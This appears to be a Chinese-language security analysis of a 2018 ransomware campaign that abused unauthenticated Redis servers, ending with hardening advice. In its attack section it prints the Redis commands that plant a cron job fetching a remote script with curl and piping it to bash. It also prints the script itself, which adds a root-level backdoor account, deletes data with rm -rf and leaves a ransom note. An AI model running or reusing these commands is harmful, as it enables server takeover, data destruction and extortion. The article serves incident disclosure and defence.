删库跑路加勒索,Redis勒索事件爆发
字数 964 2025-08-20 18:18:04
Redis未授权访问漏洞与勒索事件深度分析
事件概述
2018年9月10日下午15:06,阿里云安全团队首次发现一起规模化利用Redis未授权访问漏洞进行加密货币勒索的安全事件。攻击者直接删除服务器数据并勒索比特币,与以往仅利用算力挖矿的攻击不同,此次攻击性质更为恶劣。
Redis简介
Redis是一个开源的、基于内存的键值数据库,特点包括:
- 使用ANSI C语言编写
- 支持网络访问
- 可持久化数据
- 提供多种语言API
- 由VMware(2010-2013)和Pivotal(2013后)赞助开发
漏洞原理
Redis作为内存数据库,可通过配置或save命令将数据写入磁盘。当Redis进程权限过高且未设置访问控制时,攻击者可利用未授权访问漏洞:
- 写入计划任务(cron)
- 写入SSH登录密钥
- 写入Webshell
- 执行任意系统命令
自2017年12月以来,该漏洞已被多个僵尸网络(如DDG)大规模利用,用于抢占服务器算力。
攻击过程分析
- 扫描阶段:攻击者扫描公网暴露且未设置密码的Redis服务
- 入侵阶段:通过Redis命令写入恶意计划任务
config set dir /var/spool/cron/ config set dbfilename root config 1 */10 * * * * curl -s http://103.224.80.52/butterfly.sh | bash save - 恶意脚本(
butterfly.sh)内容:# 创建高权限账户 userdel -r redis useradd -o -u 0 -g 0 redis &>/dev/null echo "abcd-1234-!" | passwd --stdin redis &>/dev/null # 删除关键数据 rm -rf /root/* rm -rf /home/* rm -rf /opt/* rm -rf /data/* rm -rf /data* # 创建勒索信息 mkdir -p /data echo -e "\nWarning! \nYour File and DataBase is downloaded and backed up..." > /root/Warning.txt chmod +x /root/Warning.txt cp /root/Warning.txt /Warning.txt cp /root/Warning.txt /data/Warning.txt - 勒索信息:
- 要求支付0.6 BTC到地址:
3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny - 联系邮箱:
dbsecuritys@protonmail.com - 威胁24小时后删除"备份"(实际未备份)
- 要求支付0.6 BTC到地址:
事件影响
截至2018年9月10日晚8点,攻击者比特币地址已收到0.6 BTC转账,表明已有受害者支付赎金。
安全防护建议
1. 网络层防护
- 通过安全组限制公网对Redis端口的访问(默认6379)
- 仅允许可信IP访问Redis服务
2. Redis配置加固
- 修改
redis.conf配置文件:# 启用认证 requirepass 复杂密码 # 重命名危险命令 rename-command FLUSHALL "" rename-command CONFIG "" rename-command SHUTDOWN "" # 绑定特定IP bind 127.0.0.1 # 禁用protected-mode protected-mode yes
3. 系统层防护
- 以低权限用户运行Redis服务
useradd -r -s /bin/false redis chown -R redis:redis /var/lib/redis - 限制Redis数据目录权限
chmod 700 /var/lib/redis
4. 监控与响应
- 监控异常计划任务
- 监控Redis日志中的可疑连接
- 建立数据备份机制,避免数据完全丢失
总结
Redis未授权访问漏洞危害严重,可导致数据完全丢失和服务器被控。管理员应高度重视中间件安全配置,遵循最小权限原则,并建立完善的数据备份策略。此次事件也警示我们,面对勒索攻击时需谨慎验证攻击者是否真的持有数据备份。